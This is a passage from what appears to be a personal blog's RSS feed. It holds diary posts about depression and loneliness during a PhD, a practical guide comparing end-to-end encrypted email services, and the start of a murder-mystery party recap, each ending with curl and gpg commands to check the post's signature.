    +
    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    The Loop of Doomhttps://blog.alipour.eu/posts/loop_of_doom/Fri, 07 Nov 2025 13:45:52 +0000https://blog.alipour.eu/posts/loop_of_doom/<p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn&rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I&rsquo;ve been feeling more down, sad, exhausted. I&rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I&rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It&rsquo;s exhausting.</p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting.

    +

    Funny how I loved my research, the group, the people, hanging out, trying new things. It’s just funny how everything changed all of the sudden. How I don’t feel anything anymore. How sad I’ve been. How down I’ve been. My cognitive functions, my memory and everything has been also badly damaged. It’s just horrible.

    +

    I’ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.

    +

    I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said “why do you want to label things?”.

    +

    This is actually a really valid question. I don’t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.

    +

    This is what I call the loop of doom. MDD. I don’t even know if I’m experiencing it or not. All I know is that things are not right, and I don’t feel well.

    +

    Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn’t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.

    +

    I’m happy that I’ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.

    +

    It’s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It’s just scary, and sad. I know I’m losing precious time that I cannot get back. I know at some point I’m expected to deliver results that I won’t have, and I know I won’t like myself when this inevitable happens.

    +

    I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I’ve been told to do by my brother in the meanwhile:

    +
      +
    • Going for short walks
    • +
    • Doing small tasks that make me feel good
    • +
    • idk… I don’t remember anything else.
    • +
    +

    ChatGPT also gave me some advice, I’ll copy it here:

    +
    # 14‑Day Reset — Daily Checklist
    +
    +**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________
    +
    +### How to use (60 seconds)
    +
    +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
    +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
    +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
    +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.
    +
    +### Define today’s Minimum Reliable Dose (MRD)
    +
    +*(Write clear, tiny actions with a start line → action → done proof.)*
    +
    +* **Study MRD:** ________________________________________________________________
    +* ---
    +* **Work/Code MRD:** ____________________________________________________________
    +* ---
    +
    +---
    +
    +### Daily tracker (14 days)
    +
    +| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
    +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
    +| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +
    +---
    +
    +### Quick reference
    +
    +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).
    +
    +**Code — restart protocol:**
    +
    +1. Open repo → `git status` → run tests/linter → open last‑changed file.
    +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
    +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.
    +
    +---
    +
    +### Safety net (Germany)
    +
    +* **Emergency:** 112
    +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
    +  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.
    +

    Lmao. I wonder how things will progress in the future, and how I’ll do. Was it really because of a failed relationship? Really? Something that never happened? I don’t believe it, it’s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn’tve these feelings. Maybe, just maybe.

    +

    But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn’t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.

    +

    Darn. That is a lot. Lot of bad things. Back to back to back.

    +

    Ok. Let’s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don’t. But I will figure it out and make it work. I have to. I ain’t, and I wasn’t brought up like this. Let’s fleaping go…

    +

    I try to keep ya’ll, the empty list of people, updated.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1
    +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX
    +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK
    +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp
    +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n
    +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv
    +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK
    +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6
    +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA
    +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1
    +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU=
    +=Cuma
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md.asc
    +gpg --verify loop_of_doom.md.asc loop_of_doom.md
    +  
    +
    + + +]]>
    Cupid is so dumbhttps://blog.alipour.eu/posts/cupid/Tue, 04 Nov 2025 19:35:16 +0000https://blog.alipour.eu/posts/cupid/<p>The lyrics are being played in my brain day and night.</p> +<p>&ldquo;A hopeless romantic all my life&rdquo;</p> +<p>&ldquo;Surrounded by couples all the time&rdquo;</p> +<p>&ldquo;I guess I should take it as a sign&rdquo;</p> +<p>But&hellip; &ldquo;I gave a second chance to Cupid&rdquo;</p> +<p>&ldquo;But now I&rsquo;m left here feelin&rsquo; stupid&rdquo;</p> +<p>I might&rsquo;ve given more than two chances to cupid.</p> +<p>But I&rsquo;m still left here felling&rsquo; stupid.</p> +<p>&ldquo;I look for his arrows every day&rdquo;</p>The lyrics are being played in my brain day and night.

    +

    “A hopeless romantic all my life”

    +

    “Surrounded by couples all the time”

    +

    “I guess I should take it as a sign”

    +

    But… “I gave a second chance to Cupid”

    +

    “But now I’m left here feelin’ stupid”

    +

    I might’ve given more than two chances to cupid.

    +

    But I’m still left here felling’ stupid.

    +

    “I look for his arrows every day”

    +

    “I guess he got lost or flew away”

    +

    But does it matter anymore? +It shouldn’t. It really shouldn’t.

    +

    Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I’ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn’t told me.

    +

    Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn’t funny, idk. What I do know however is that I’m hurt. There is a bit more to the story than that, but I don’t want to open it up. It’s way too personal to be opened.

    +

    The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.

    +

    I’ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.

    +

    I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.

    +

    I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.

    +

    For now all I know is that I’m stuck in MDD, and I cannot get out of it. I’m glad suicidal thoughs are off the table. I’m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.

    +

    I think this is just so painful to me in the sense that I don’t really have many friends that I consider as friends, and I’m being left alone from some groups that I don’t necesserially wanna be a part of. But oh well, I should not care.

    +

    Credit: Cupid by FIFTY FIFTY

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf
    +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv
    +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa
    +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl
    +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r
    +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7
    +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1
    +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm
    +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9
    +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/
    +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c=
    +=sXgB
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md.asc
    +gpg --verify cupid.md.asc cupid.md
    +  
    +
    + + +]]>
    Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    La Plaza: The Falcones & the Morettishttps://blog.alipour.eu/posts/murder_mystery_night/Sat, 25 Oct 2025 07:52:53 +0000https://blog.alipour.eu/posts/murder_mystery_night/Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

